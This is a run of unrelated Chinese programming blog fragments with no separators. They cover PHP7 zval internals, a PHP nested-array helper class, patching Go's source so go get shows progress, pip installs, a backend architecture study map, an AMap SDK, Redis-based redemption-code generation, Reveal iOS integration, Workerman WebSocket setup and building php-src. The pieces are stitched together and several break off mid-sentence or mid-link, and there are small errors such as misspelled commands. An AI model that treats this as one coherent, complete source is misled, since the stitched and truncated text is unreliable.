IS_TYPE_CONSTANT            //是常量类型
IS_TYPE_IMMUTABLE           //不可变的类型, 比如存在共享内存的数组
IS_TYPE_REFCOUNTED          //需要引用计数的类型
IS_TYPE_COLLECTABLE         //可能包含循环引用的类型(IS_ARRAY, IS_OBJECT)
IS_TYPE_COPYABLE            //可被复制的类型, 还记得我之前讲的对象和资源的例外么? 对象和资源就不是
IS_TYPE_SYMBOLTABLE         //zval保存的是全局符号表, 这个在我之前做了一个调整以后没用了, 但还保留着兼容,
                            //下个版本会去掉

作用于字符串的有:

IS_STR_PERSISTENT           //是malloc分配内存的字符串
IS_STR_INTERNED             //INTERNED STRING
IS_STR_PERMANENT            //不可变的字符串, 用作哨兵作用
IS_STR_CONSTANT             //代表常量的字符串
IS_STR_CONSTANT_UNQUALIFIED //带有可能命名空间的常量字符串

作用于数组的有:

#define IS_ARRAY_IMMUTABLE  //同IS_TYPE_IMMUTABLE

作用于对象的有:

IS_OBJ_APPLY_COUNT          //递归保护
IS_OBJ_DESTRUCTOR_CALLED    //析构函数已经调用
IS_OBJ_FREE_CALLED          //清理函数已经调用
IS_OBJ_USE_GUARDS           //魔术方法递归保护
IS_OBJ_HAS_GUARDS           //是否有魔术方法递归保护标志

有了这些预留的标志位, 我们就会很方便的做一些以前不好做的事情, 就比如我自己的Taint扩展, 现在把一个字符串标记为污染的字符串就会变得无比简单:

/* it's important that make sure
 * this value is not used by Zend or
 * any other extension agianst string */
#define IS_STR_TAINT_POSSIBLE    (1<<7)
#define TAINT_MARK(str)     (GC_FLAGS((str)) |= IS_STR_TAINT_POSSIBLE)

这个标记就会一直随着这个字符串的生存而存在的, 省掉了我之前的很多tricky的做法.

ZVAL预先分配

前面我们说过, PHP5的zval分配采用的是堆上分配内存, 也就是在PHP预案代码中随处可见的MAKE_STD_ZVAL和ALLOC_ZVAL宏. 我们也知道了本来一个zval只需要24个字节, 但是算上gc_info, 其实分配了32个字节, 再加上PHP自己的内存管理在分配内存的时候都会在内存前面保留一部分信息:

typedef struct _zend_mm_block {
    zend_mm_block_info info;
#if ZEND_DEBUG
    unsigned int magic;
# ifdef ZTS
    THREAD_T thread_id;
# endif
    zend_mm_debug_info debug;
#elif ZEND_MM_HEAP_PROTECTION
    zend_mm_debug_info debug;
#endif
} zend_mm_block;

从而导致实际上我们只需要24字节的内存, 但最后竟然分配48个字节之多.

然而大部分的zval, 尤其是扩展函数内的zval, 我们想想它接受的参数来自外部的zval, 它把返回值返回给return_value, 这个也是来自外部的zval, 而中间变量的zval完全可以采用栈上分配. 也就是说大部分的内部函数都不需要在堆上分配内存, 它需要的zval都可以来自外部.

于是当时我们做了一个大胆的想法, 所有的zval都不需要单独申请.

而这个也很容易证明, PHP脚本中使用的zval, 要么存在于符号表, 要么就以临时变量(IS_TMP_VAR)或者编译变量(IS_CV)的形式存在. 前者存在于一个Hashtable中, 而在PHP7中Hashtable默认保存的就是zval, 这部分的zval完全可以在Hashtable分配的时候一次性分配出来, 后面的存在于execute_data之后, 数量也在编译时刻确定好了, 也可以随着execute_data一次性分配, 所以我们确实不再需要单独在堆上申请zval了.

所以, 在PHP7开始, 我们移除了MAKE_STD_ZVAL/ALLOC_ZVAL宏, 不再支持存堆内存上申请zval. 函数内部使用的zval要么来自外面输入, 要么使用在栈上分配的临时zval.

在后来的实践中, 总结出来的可能对于开发者来说最大的变化就是, 之前的一些内部函数, 通过一些操作获得一些信息, 然后分配一个zval, 返回给调用者的情况:

static zval * php_internal_function() {
    .....
    str = external_function();

    MAKE_STD_ZVAL(zv);

    ZVAL_STRING(zv, str, 0);

    return zv;
}
PHP_FUNCTION(test) {
    RETURN_ZVAL(php_internal_function(), 1, 1);
}

要么修改为, 这个zval由调用者传递:

static void php_internal_function(zval *zv) {
    .....
    str = external_function();

    ZVAL_STRING(zv, str);
    efree(str);
}

PHP_FUNCTION(test) {
    php_internal_function(return_value);
}

要么修改为, 这个函数返回原始素材:

static char * php_internal_function() {
    .....
    str = external_function();
    return str;
}

PHP_FUNCTION(test) {
    str = php_internal_function();
    RETURN_STRING(str);
    efree(str);
}

总结

(这块还没想好怎么说, 本来我是要引出Hashtable不再存在zval**, 从而引出引用类型的存在的必要性, 但是如果不先讲Hashtable的结构, 这个引出貌似很突兀, 先这么着吧, 以后再来修改)

到现在我们基本上把zval的变化概况介绍完毕, 抽象的来说, 其实在PHP7中的zval, 已经变成了一个值指针, 它要么保存着原始值, 要么保存着指向一个保存原始值的指针. 也就是说现在的zval相当于PHP5的时候的zval . 只不过相比于zval , 直接存储zval, 我们可以省掉一次指针解引用, 从而提高缓存友好性.

其实PHP7的性能, 我们并没有引入什么新的技术模式, 不过就是主要来自, 持续不懈的降低内存占用, 提高缓存友好性, 降低执行的指令数的这些原则而来的, 可以说PHP7的重构就是这三个原则.

目前主流的删除数组子元素的方法,都是只能删除第一层级的子元素,通过下面的源码可以实现删除任意层级的数据子元素。

源码

查看源代码

$array     = [
    'a' => [
        'b' => [
            'c' => 'd',
            'e' => 'f'
        ]
    ],
    'g' => [
        'h' => 'i'
    ]
];
$deleteKey = 'a.b.c';
$keyArray  = explode('.', $deleteKey);

//change a.b.c value
$result['change'] = recurArrayDiff($array, $keyArray, 'change a.b.c value');

//delete a.b.c
$result['delete'] = recurArrayDiff($array, $keyArray);
echo json_encode($result);

function recurArrayDiff($array, $keyArray, $replace = null)
{
    $key0 = $keyArray[0];
    if (is_array($array) && isset($keyArray[1])) {
        unset($keyArray[0]);
        $keyArray = array_values($keyArray);
        if (!isset($array[$key0])) {
            $array[$key0] = [];
        }
        $array[$key0] = recurArrayDiff($array[$key0], $keyArray, $replace);
    } else {
        if (is_null($replace)) {
            unset($array[$key0]);
        } else {
            $array[$key0] = $replace;
        }
    }
    return $array;
}

输出

{
    "change": {
        "a": {
            "b": {
                "c": "change a.b.c value",
                "e": "f"
            }
        },
        "g": {
            "h": "i"
        }
    },
    "delete": {
        "a": {
            "b": {
                "e": "f"
            }
        },
        "g": {
            "h": "i"
        }
    }
}

升级版

封装为一个类,支持数组任意层级子元素的增删改查

源码

查看源代码

<?php
namespace api\tool\lib;

/**
 * 数组操作类
 * @desc 支持任意层级子元素的增删改查
 * @package library\logic
 */
class ArrayTool implements \ArrayAccess
{
    public static function instance($array = [], $separator = '.')
    {
        return new self($array, $separator);
    }

    private $array;

    private $separator;

    public function __construct($array, $separator = '.')
    {
        $this->array     = $array;
        $this->separator = $separator;
    }

    /**
     * 设置任意层级子元素
     * @param string|array|int $key
     * @param mixed $value
     * @return $this
     */
    public function set($key, $value = null)
    {
        if (is_array($key)) {
            foreach ($key as $k => $v) {
                $this->set($k, $v);
            }
        } else {
            if (false === strpos($key, $this->separator)) {
                $this->array[$key] = $value;
            } else {
                $keyArray    = explode($this->separator, $key);
                $this->array = $this->recurArrayChange($this->array, $keyArray, $value);
            }
        }
        return $this;
    }

    /**
     * 获取任意层级子元素
     * @param null|string|int $key
     * @param mixed $default
     * @return mixed
     */
    public function get($key = null, $default = null)
    {
        if (is_null($key)) {
            return $this->array;
        }

        if (false === strpos($key, $this->separator)) {
            return isset($this->array[$key]) ? $this->array[$key] : $default;
        }

        $keyArray = explode($this->separator, $key);
        $tmp      = $this->array;
        foreach ($keyArray as $k) {
            if (isset($tmp[$k])) {
                $tmp = $tmp[$k];
            } else {
                $tmp = $default;
                break;
            }
        }
        return $tmp;
    }

    /**
     * 删除任意层级子元素
     * @param string|array|int $key
     * @return $this
     */
    public function delete($key)
    {
        if (is_array($key)) {
            foreach ($key as $k) {
                $this->set($k, null);
            }
        } else {
            $this->set($key, null);
        }
        return $this;
    }

    /**
     * 获取某一节点下的子元素key列表
     * @param $key
     * @return array
     */
    public function getChildKeyList($key)
    {
        $child = $this->get($key);
        $list  = [];
        $n     = 0;
        foreach ($child as $k => $v) {
            $list[$n++] = $k;
        }
        return $list;
    }

    /**
     * 递归遍历
     * @param array $array
     * @param array $keyArray
     * @param mixed $value
     * @return array
     */
    private function recurArrayChange($array, $keyArray, $value = null)
    {
        $key0 = $keyArray[0];
        if (is_array($array) && isset($keyArray[1])) {
            unset($keyArray[0]);
            $keyArray = array_values($keyArray);
            if (!isset($array[$key0])) {
                $array[$key0] = [];
            }
            $array[$key0] = $this->recurArrayChange($array[$key0], $keyArray, $value);
        } else {
            if (is_null($value)) {
                unset($array[$key0]);
            } else {
                $array[$key0] = $value;
            }
        }
        return $array;
    }

    /**
     * isset($array[$key])
     * @param mixed $offset
     * @return bool
     */
    public function offsetExists($offset)
    {
        return !is_null($this->get($offset));
    }

    /**
     * $array[$key]
     * @param mixed $offset
     * @return mixed
     */
    public function offsetGet($offset)
    {
        return $this->get($offset);
    }

    /**
     * $array[$key] = $value
     * @param mixed $offset
     * @param mixed $value
     * @return $this
     */
    public function offsetSet($offset, $value)
    {
        return $this->set($offset, $value);
    }

    /**
     * unset($array[$key])
     * @param mixed $offset
     * @return $this
     */
    public function offsetUnset($offset)
    {
        return $this->delete($offset);
    }
}

使用示例

//instance
$array = ArrayTool::instance([], $separator = '.');

//set
$array->set('a1.b1', 'c1');
$array['a2.b2'] = 'c2';

//get
echo $array->get('a1.b1');
echo $array['a2.b2'];

//get all
$array->get();

//get child key list
$array->getChildKeyList('a1');

//delete
$array->delete('a1.b1');
unset($array['a2.b2']);

原博《让 go get 显示进度》

操作步骤

修改文件路径
{GOROOT}/src/cmd/go/internal/get/vcs.go

  • 修改148行,clone 后面增加--progress
createCmd:   []string{"clone --progress {repo} {dir}", "-go-internal-cd {dir} submodule update --init --recursive"},
  • 在433行 cmd.Stderr = &buf 后面添加如下两行
cmd.Stdout = os.Stdout // 重定向标准输出
cmd.Stderr = os.Stderr // 重定向标准输出
  • 重新编译go

在重新编译过程中产生的报错,提示没有找到go1.4,原来go1.5之后版本,编译的时候是需要go1.4的。

git clone https://github.com/golang/go.git
cd go
git checkout -b origin/release-branch.go1.4
cd src
./all.bash

# 拷贝到 {USER_PATH}/go1.4/
# 使 {USER_PATH}/go1.4/bin/go 可运行

# 进入到当前的go版本的src目录
cd $GOROOT/src
./all.bash

重新编译好之后,再执行go get 就可以看到进度信息了。

pip

yum install -y python-setuptools python-setuptools-devel python-devel
easy_install pip

package

pylint

pip install pylint

文档 www.pylint.org

scrapy

pip install scrapy

文档 doc.scrapy.org

scrapy_redis

pip install scrapy_redis

文档 scrapy-redis.readthedocs.io

pymongo

pip install pymongo

文档 api.mongodb.com

pytesseract

pip install pytesseract

文档 github.com/madmaze/pytesseract

pillow

pip install PIL  #python2
pip install pillow #python3

文档 pillow.readthedocs.io

pyOpenSSl

pip instal pyOpenSSl
pip install --upgrade pyOpenSSl --user

查看原文

《后端架构师技术图谱》

知识共享协议(CC协议)

最后更新于20180502

(Toc generated by simple-php-github-toc

数据结构

队列

集合

链表、数组

字典、关联数组

二叉树

每个节点最多有两个叶子节点。

完全二叉树

  • 《完全二叉树》
    • 叶节点只能出现在最下层和次下层,并且最下面一层的结点都集中在该层最左边的若干位置的二叉树。

平衡二叉树

左右两个子树的高度差的绝对值不超过1,并且左右两个子树都是一棵平衡二叉树。

二叉查找树(BST)

二叉查找树(Binary Search Tree),也称有序二叉树(ordered binary tree),排序二叉树(sorted binary tree)。

红黑树

B-,B+,B*树

MySQL是基于B+树聚集索引组织表

LSM(Log-Structured Merge-Trees)和 B+ 树相比,是牺牲了部分读的性能来换取写的性能(通过批量写入),实现读写之间的。
Hbase、LevelDB、Tair(Long DB)、nessDB 采用 LSM 树的结构。LSM可以快速建立索引。

  • 《LSM树 VS B+树》

    • B+ 树读性能好,但由于需要有序结构,当key比较分散时,磁盘寻道频繁,造成写性能。
    • LSM 是将一个大树拆分成N棵小树,先写到内存(无寻道问题,性能高),在内存中构建一颗有序小树(有序树),随着小树越来越大,内存的小树会flush到磁盘上。当读时,由于不知道数据在哪棵小树上,因此必须遍历(二分查找)所有的小树,但在每颗小树内部数据是有序的。
  • 《LSM树(Log-Structured Merge Tree)存储引擎》

    • 极端的说,基于LSM树实现的HBase的写性能比MySQL高了一个数量级,读性能低了一个数量级。
    • 优化方式:Bloom filter 替代二分查找;compact 小数位大树,提高查询性能。
    • Hbase 中,内存中达到一定阈值后,整体flush到磁盘上、形成一个文件(B+数),HDFS不支持update操作,所以Hbase做整体flush而不是merge update。flush到磁盘上的小树,定期会合并成一个大树。

BitSet

经常用于大规模数据的排重检查。

常用算法

排序、查找算法

选择排序

冒泡排序

插入排序

快速排序

希尔排序

TODO

堆排序

计数排序

桶排序

基数排序

按照个位、十位、百位、...依次来排。

二分查找

布隆过滤器

常用于大数据的排重,比如email,url 等。
核心原理:将每条数据通过计算产生一个指纹(一个字节或多个字节,但一定比原始数据要少很多),其中每一位都是通过随机计算获得,在将指纹映射到一个大的按位存储的空间中。注意:会有一定的错误率。
优点:空间和时间效率都很高。
缺点:随着存入的元素数量增加,误算率随之增加。

字符串比较

KMP 算法

KMP:Knuth-Morris-Pratt算法(简称KMP)
核心原理是利用一个“部分匹配表”,跳过已经匹配过的元素。

深度优先、广度优先

贪心算法

回溯算法

剪枝算法

动态规划

朴素贝叶斯

推荐算法

最小生成树算法

最短路径算法

并发

多线程

线程安全

一致性、事务

事务 ACID 特性

事务的隔离级别

  • 未提交读:一个事务可以读取另一个未提交的数据,容易出现脏读的情况。

  • 读提交:一个事务等另外一个事务提交之后才可以读取数据,但会出现不可重复读的情况(多次读取的数据不一致),读取过程中出现UPDATE操作,会多。(大多数数据库默认级别是RC,比如SQL Server,Oracle),读取的时候不可以修改。

  • 可重复读: 同一个事务里确保每次读取的时候,获得的是同样的数据,但不保障原始数据被其他事务更新(幻读),Mysql InnoDB 就是这个级别。

  • 序列化:所有事物串行处理(牺牲了效率)

  • 《理解事务的4种隔离级别》

  • 数据库事务的四大特性及事务隔离级别

  • 《MySQL的InnoDB的幻读问题 》

    • 幻读的例子非常清楚。
    • 通过 SELECT ... FOR UPDATE 解决。
  • 《一篇文章带你读懂MySQL和InnoDB》

    • 图解脏读、不可重复读、幻读问题。

MVCC

Java中的锁和同步类

公平锁 & 非公平锁

公平锁的作用就是严格按照线程启动的顺序来执行的,不允许其他线程插队执行的;而非公平锁是允许插队的。

悲观锁

悲观锁如果使用不当(锁的条数过多),会引起服务大面积等待。推荐优先使用乐观锁+重试。

乐观锁 & CAS

ABA 问题

由于高并发,在CAS下,更新后可能此A非彼A。通过版本号可以解决,类似于上文Mysql 中提到的的乐观锁。

CopyOnWrite容器

可以对CopyOnWrite容器进行并发的读,而不需要加锁。CopyOnWrite并发容器用于读多写少的并发场景。比如白名单,黑名单,商品类目的访问和更新场景,不适合需要数据强一致性的场景。

RingBuffer

可重入锁 & 不可重入锁

  • 《可重入锁和不可重入锁》

    • 通过简单代码举例说明可重入锁和不可重入锁。
    • 可重入锁指同一个线程可以再次获得之前已经获得的锁。
    • 可重入锁可以用户避免死锁。
    • Java中的可重入锁:synchronized 和 java.util.concurrent.locks.ReentrantLock
  • 《ReenTrantLock可重入锁(和synchronized的区别)总结》

    • synchronized 使用方便,编译器来加锁,是非公平锁。
    • ReenTrantLock 使用灵活,锁的公平性可以定制。
    • 相同加锁场景下,推荐使用 synchronized。

互斥锁 & 共享锁

互斥锁:同时只能有一个线程获得锁。比如,ReentrantLock 是互斥锁,ReadWriteLock 中的写锁是互斥锁。
共享锁:可以有多个线程同时或的锁。比如,Semaphore、CountDownLatch 是共享锁,ReadWriteLock 中的读锁是共享锁。

死锁

操作系统

计算机原理

CPU

多级缓存

典型的 CPU 有三级缓存,举例核心越近,速度越快,空间越小。L1 一般 32k,L2 一般 256k,L3 一般12M。内存速度需要200个 CPU 周期,CPU 缓存需要1个CPU周期。

进程

TODO

线程

协程

  • 《终结python协程----从yield到actor模型的实现》
    • 线程的调度是由操作系统负责,协程调度是程序自行负责
    • 与线程相比,协程减少了无畏的操作系统切换.
    • 实际上当遇到IO操作时做切换才更有意义,(因为IO操作不用占用CPU),如果没遇到IO操作,按照时间片切换.

Linux

设计模式

设计模式的六大原则

  • 《设计模式的六大原则》
    • 开闭原则:对扩展开放,对修改关闭,多使用抽象类和接口。
    • 里氏代换原则:基类可以被子类替换,使用抽象类继承,不使用具体类继承。
    • 依赖倒转原则:要依赖于抽象,不要依赖于具体,针对接口编程,不针对实现编程。
    • 接口隔离原则:使用多个隔离的接口,比使用单个接口好,建立最小的接口。
    • 迪米特法则:一个软件实体应当尽可能少地与其他实体发生相互作用,通过中间类建立联系。
    • 合成复用原则:尽量使用合成/聚合,而不是使用继承,尽量使用合成/聚合,而不是使用继承。

23种常见设计模式

应用场景

  • 《细数JDK里的设计模式》

    • 结构型模式:

      • 适配器:用来把一个接口转化成另一个接口,如 java.util.Arrays#asList()。
      • 桥接模式:这个模式将抽象和抽象操作的实现进行了解耦,这样使得抽象和实现可以独立地变化,如JDBC;
      • 组合模式:使得客户端看来单个对象和对象的组合是同等的。换句话说,某个类型的方法同时也接受自身类型作为参数,如 Map.putAll,List.addAll、Set.addAll。
      • 装饰者模式:动态的给一个对象附加额外的功能,这也是子类的一种替代方式,如 java.util.Collections#checkedList|Map|Set|SortedSet|SortedMap。
      • 享元模式:使用缓存来加速大量小对象的访问时间,如 valueOf(int)。
      • 代理模式:代理模式是用一个简单的对象来代替一个复杂的或者创建耗时的对象,如 java.lang.reflect.Proxy
    • 创建模式:

      • 抽象工厂模式:抽象工厂模式提供了一个协议来生成一系列的相关或者独立的对象,而不用指定具体对象的类型,如 java.util.Calendar#getInstance()。
      • 建造模式(Builder):定义了一个新的类来构建另一个类的实例,以简化复杂对象的创建,如:java.lang.StringBuilder#append()。
      • 工厂方法:就是 **一个返*** 回具体对象的方法,而不是多个,如 java.lang.Object#toString()、java.lang.Class#newInstance()。
      • 原型模式:使得类的实例能够生成自身的拷贝、如:java.lang.Object#clone()。
      • 单例模式:全局只有一个实例,如 java.lang.Runtime#getRuntime()。
    • 行为模式:

      • 责任链模式:通过把请求从一个对象传递到链条中下一个对象的方式,直到请求被处理完毕,以实现对象间的解耦。如 javax.servlet.Filter#doFilter()。
      • 命令模式:将操作封装到对象内,以便存储,传递和返回,如:java.lang.Runnable。
      • 解释器模式:定义了一个语言的语法,然后解析相应语法的语句,如,java.text.Format,java.text.Normalizer。
      • 迭代器模式:提供一个一致的方法来顺序访问集合中的对象,如 java.util.Iterator。
      • 中介者模式:通过使用一个中间对象来进行消息分发以及减少类之间的直接依赖,java.lang.reflect.Method#invoke()。
      • 空对象模式:如 java.util.Collections#emptyList()。
      • 观察者模式:它使得一个对象可以灵活的将消息发送给感兴趣的对象,如 java.util.EventListener。
      • 模板方法模式:让子类可以重写方法的一部分,而不是整个重写,如 java.util.Collections#sort()。
  • 《Spring-涉及到的设计模式汇总》

  • 《Mybatis使用的设计模式》

单例模式

责任链模式

TODO

MVC

IOC

  • 《理解 IOC》
  • 《IOC 的理解与解释》
    • 正向控制:传统通过new的方式。反向控制,通过容器注入对象。
    • 作用:用于模块解耦。
    • DI:Dependency Injection,即依赖注入,只关心资源使用,不关心资源来源。

AOP

UML

微服务思想

康威定律

  • 《微服务架构的理论基础 - 康威定律》

    • 定律一:组织沟通方式会通过系统设计表达出来,就是说架构的布局和组织结构会有相似。
    • 定律二:时间再多一件事情也不可能做的完美,但总有时间做完一件事情。一口气吃不成胖子,先搞定能搞定的。
    • 定律三:线型系统和线型组织架构间有潜在的异质同态特性。种瓜得瓜,做独立自治的子系统减少沟通成本。
    • 定律四:大的系统组织总是比小系统更倾向于分解。合久必分,分而治之。
  • 《微服务架构核⼼20讲》

运维 & 统计 & 技术支持

常规监控

命令行监控工具

APM

APM — Application Performance Management

统计分析

持续集成(CI/CD)

Jenkins

  • [《使用Jenkins进行持续集成

项目地址: Github/AxiosCros/amap-api-sdk

已支持的高德地图的功能

  • 云图 Api
  • WEB Api
  • URL Api

安装

composer require axios/amap-api-sdk

使用示例

namespace AMap;

use amap\sdk\AMap;
use amap\sdk\CloudMap\CloudMap;

require_once __DIR__. "/../vendor/autoload.php";

//Auth
AMap::auth("your amap key","your amap secret");

//Request
$request = \amap\sdk\CloudMap\CloudMap::search()->dataList();
$request->setTableId("table id");
$response = $request->request();

//Get Response Content(array)
dump($response->getContent());

最近要做一个兑换码生成的功能,之前有做过32位唯一码生成器,但是在业务需求中,32位的兑换码有些过长了,用户在应用内填写的时候会比较麻烦,不是很友好,倒是可以做成二维码的形式扫一下就行了,但是业务中还是存在输入兑换码的行为,所以本篇主要是关于以尽量短的字符来生成兑换码,同时要保证唯一性以及生成机制复用性(也就是利用这套机制可以生成不同种类的兑换码)的探索

以下示例代码均基于TPRCMS编写

探索一: 进制转换

生成的32位唯一码是16进制的哈希字符串,我就在想是不是可以通过提高进制来缩短字符串长度,所以有了如下的代码

代码地址: 多进制转换器ConvertLogic
其中关于10进制与62进制互转的部分,参考了《PHP 10进制与62进制互转,可用于生成短网址》

实例代码

$uuid = "cd5fd2cfeb40aafe060f4d9597348be7";
$str = ConvertLogic::convert( $uuid, 16, 62);

输出

string(32) "cd5fd2cfeb40aafe060f4d9597348be7"
string(22) "6fxdxREtzxq6qNdSghGm7t"

经过转换后发现,长度最多压缩到21~22位,感觉还是有些长

探索二: uniqid()转62进制

uniqid()可以生成一个13位以上的16进制唯一码,将它转为62进制,会得到一个更短的字符串

实验代码

$uuid = uniqid('code');
$resule = ConvertLogic::convert( $uuid, 16, 62);

//输出
//string(17) "5a5c5b182386"
//string(12) "7hoyVkRTi "

通过多次生成,从结果观察来看,有以下几个不足:

1.用这种方法生成的一批兑换码,只有后几位是变动的,生成间隔很近的话,只有最后2位不一样,前面的都一样,这样可能会造成结果比较好猜,容易被试出来。
2.唯一性不足。在批量并发多机器生成的时候,很难保证唯一性

探索三: 随机生成12位字符串,用redis保证唯一性

示例代码

//$category_uniq是类目的hash,下面这句代码主要目的是保证同一类目下不存在相同的兑换码
RedisService::redis()->switchDB()->hSetNx('code_hash_list_'.$category_uniq,  $code, $category_uniq);
//如果同类目下已存在相同的兑换码,会返回false

随机字符生成代码

/**
     * 随机字符串生成器
     * @param $length
     * @param string $strPol
     * @return null|string
     */
    public static function getRandChar($length = 15,$strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"){
        $str = null;

        $max = strlen($strPol)-1;

        for($i=0;$i<$length;$i++){
            $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
        }

        return $str;
}

通过串行100万次随机生成发现,随着数据的逐渐增多,重复的概率会逐渐上升,这就意味重新生成的次数越来越多。

探索四: 利用redis计数器"领票",用事务操作保证计数器的准确,一个兑换码领一个票

4位票号 + 12位随机码
4位票号的目的是为了保证唯一性,随机码是为了防止被轻易试出正确值。
这样即便知道了前面4位是票号,加一就行,但是后面12位可就难试了。
而且4位的票号可以支持一个类目有14538000个兑换码(62进制,"ZZZZ"-"1000"),即便是票号不够了,那票码长度+1即可
这个机制还有一个好处就是,可以根据情况自由修改兑换码长度
比如,现业务只需生成几百个码,而且对安全性没有太多要求,那就可以只需要“2位票码+4位随机符”就可以了

  • 领票代码

    private static function ticket($category_uniq , $baseCount){
          $key = 'code_ticket_'.$category_uniq;
          RedisService::redis()->switchDB()->watch($key);
    
          $count = RedisService::redis()->switchDB()->multi()
              ->incr($key)
              ->exec();
          if($count === false){
              return self::ticket($category_uniq, $baseCount);
          }
          $ticket = $baseCount + $count;
    
          return $ticket;
      }

兑换码批量生成完整逻辑代码 : CodeLogic

code snippet CDKEY Producer

拓展思考

  • 短网址

利用票号转62进制的思路,其实也可以做短网址
仅需要6位就可以满足500多亿的网址
而每次要新增短网址,只需要到后端领一个票码,并建立票码和真实网址的映射关系(KV)就可以了

前言:RevealUI界面工具可以在不重新编译的情况下,实时调试ios项目的UI界面,这对于开发者可以提供不少的方便。我在使用过程中也遇到了一些问题,查询了网上的一些资料发现好多都是老的了,大多都是针对reveal2和reveal8的文章,有的是需要libReveal.dylib文件的,而reveal11已经没有libReveal.dylib这个文件了,最后在官方论坛找了一个使用教程才解决了我的问题,以下内容主要是对该文章的翻译和修改。图片有原文中的原图,也有我自己的截图,仅供参考

原文: Integrating Reveal via Linking

操作环境

macOS : 10.13.1
Xcode : 9.1

Podfile示例

# Uncomment the next line to define a global platform for your project
# platform :ios, '11.0'

def pods
  pod 'Reveal-SDK', :configurations => ['Debug']
end

target 'SwiftStudy' do
  # Comment the next line if you're not using Swift and don't want to use dynamic frameworks
  use_frameworks!

  pods

  # Pods for SwiftStudy

  target 'SwiftStudyTests' do
    inherit! :search_paths
    # Pods for testing
    pods
  end

  target 'SwiftStudyUITests' do
    inherit! :search_paths
    # Pods for testing
    pods
  end

end

操作步骤

  1. 启动Reveal应用并且选择 “help->Show Reveal Library in Finder”,在打开的目录里选中RevealServer.framework,然后根据应用类别选择IOS Library 还是tvOS Library
    show-reveal-library-in-finder.jpg

  2. 按住“Option(⌥)”键,将RevealServer.framework拖拽到项目中,该步骤会复制RevealServer.framework到项目中,可以是根路径也可以是其它路径,看你拖拽到哪里了。

    注意:为了确保是复制到项目目录,请一定要按住option键。

复制RevealServer.framework到项目根路径

  1. 用Xcode打开项目,选择项目图标,打开Xcode项目导航

  2. 在左侧的target列表中选择一个你想调试的target

  3. 选择Build Settings 标签,在“Framework Search Paths(框架搜索路径)”中的Debug设置中增加

  $(inherited) $(SRCROOT)

add_framework_search_paths.jpg

  1. 还是在Build Settings 标签,在“Other Linker Flags”的Debug配置中添加
  -ObjC -weak_framework RevealServer

因为我是用pod自动安装的reveal,所以操作该步时,该配置我已经有了。

  1. 仍然在Build Settings 标签,
    在“ Runpath Search Paths ”的Debug配置中添加“$(inherited) @executable_path/Frameworks”,若已有则不操作。

  2. 选择“Build Phases”标签,添加一个新的脚本,命名为“Integrate Reveal Server”或者其它合适的名字,粘贴下面的代码。

  export REVEAL_SERVER_FILENAME="RevealServer.framework"

  # Update this path to point to the location of RevealServer.framework in your project.
export REVEAL_SERVER_PATH="${SRCROOT}/${REVEAL_SERVER_FILENAME}"

  # If configuration is not Debug, skip this script.
[ "${CONFIGURATION}" != "Debug" ] && exit 0

  # If RevealServer.framework exists at the specified path, run code signing script.
if [ -d "${REVEAL_SERVER_PATH}" ]; then
  "${REVEAL_SERVER_PATH}/Scripts/copy_and_codesign_revealserver.sh"
else
  echo "Cannot find RevealServer.framework, so Reveal Server will not be started for your app."
  fi

提醒:如果你将RevealServer.framework放置在了非根路径的其它地方了,就修改下REVEAL_SERVER_PATH的赋值。

添加一个新的脚本

  1. 编译运行项目,如果是用真机测试,请确保mac和你的设置同处在同一局域网中,或者你的设置正在通过use或者type-c等接口连接。

  2. 此时,在Reveal中会看到正在调试的App,双击打开即可开始进行UI界面调试。

不需要添加任何额外的代码或者其它什么引用,当你的应用进行调试时,Reveal框架会自动载入并开始提供必要的Reveal服务。

使用

cd server/bin/

#根据需求编写脚本,run()方法可以传入$config
vim workman_server.php

#示例配置
$config = [
        'server' => "websocket://0.0.0.0:2346", //端口可以自定义
        'process_count' => 4 ,
        'ssl'=>false,
        'context'=>[]
    ];
#context的详细配置可以查看workman手册


#以debug(调试)方式启动
 php workman_server.php start

 #以daemon(守护进程)方式启动
 php workman_server.php start -d

 #停止
 php workman_server.php stop

 #重启
 php workman_server.php restart

 #平滑重启
 php workman_server.php reload

 #查看状态
 php workman_server.php status

 #查看连接状态(需要Workerman版本>=3.5.0)
 php workman_server.php connections

服务端配置

  • 解决因防火墙未开启端口而无法连接的问题
firewall-cmd --add-port=2346/tcp --permanent

service firewalld restart
  • 解决因ssl而阻止连接的问题
#服务端防火墙添加https服务
firewall-cmd --permanent --add-service=https
service firewalld restart

//客户端使用wss协议
wss://domain:2346

//https证书是在客户端访问websocket服务端所用域名的证书
$config = [
        'server' => "websocket://0.0.0.0:2346",
        'process_count' => 4 ,
        'ssl'=>true,
        'context'=>[
                'ssl' => [
                    // 使用绝对路径
                    'local_cert'  => '/etc/server/ssl.pem', // 也可以是crt文件
                    'local_pk'    => '/etc/server/ssl.key',
                    'verify_peer' => false,
                ]
        ]
    ];

使用vagrant,搭建centos7.3系统环境

个人不太喜欢在个人电脑上添加各种环境,开发或调试环境比较喜欢使用docker或者vagrant搭建centos7系统环境。
docker比较适合无需对环境进行改变,仅对应用进行操作的情况。
而vagrant安装的centos7系统环境,也就是virtualbox虚拟机,较比docker的centos镜像,在管理操作系统本身上更加自由。
vagrant搭建参考博客使用vagrant+virtualbox搭建跨平台开发环境

vagrant box add centos7.3 package.box
vagrant init centos7.3

# edit Vagrantfile

vagrant up

php源码下载及编辑安装

#从git仓库下载
git clone https://github.com/php/php-src.git

#安装必备的依赖环境
yum install -y \
gcc-c++ autoconf \
libjpeg libjpeg-devel libpng \
libpng-devel freetype freetype-devel \
libpng libpng-devel libxml2 libxml2-devel \
zlib zlib-devel glibc glibc-devel \
glib2 glib2-devel bzip2 bzip2-devel \
ncurses curl openssl-devel \
gdbm-devel db4-devel libXpm-devel \
libX11-devel gd-devel gmp-devel \
readline-devel libxslt-devel \
expat-devel xmlrpc-c xmlrpc-c-devel \
libicu-devel libmcrypt-devel \
libmemcached-devel \
curl-devel

#进入php-src目录
sh buildconf
./configure

# 编译时根据需求添加参数

配置vscode的c++开发环境

参考博文在macOS下使用Visual Studio Code进行C/C++开发

  • 安装插件

    cpptools
    C/C++ Clang

  • 点击[Code]->[首选项]->[用户设置]进行如下配置

    "C_Cpp.autocomplete": "Disabled",
    "clang.cxxflags": ["-std=c++11"]
  • 项目环境配置

  1. 用vscode打开php-src目录
  2. VSCODE命令行执行 [C/Cpp: Edit Configurations] 命令,在目录的.vscode配置目录下生成一个c_cpp_properties.json文件
  3. 修改Mac节点下的includePath变量添加C++11跳转支持:
  "includePath": [
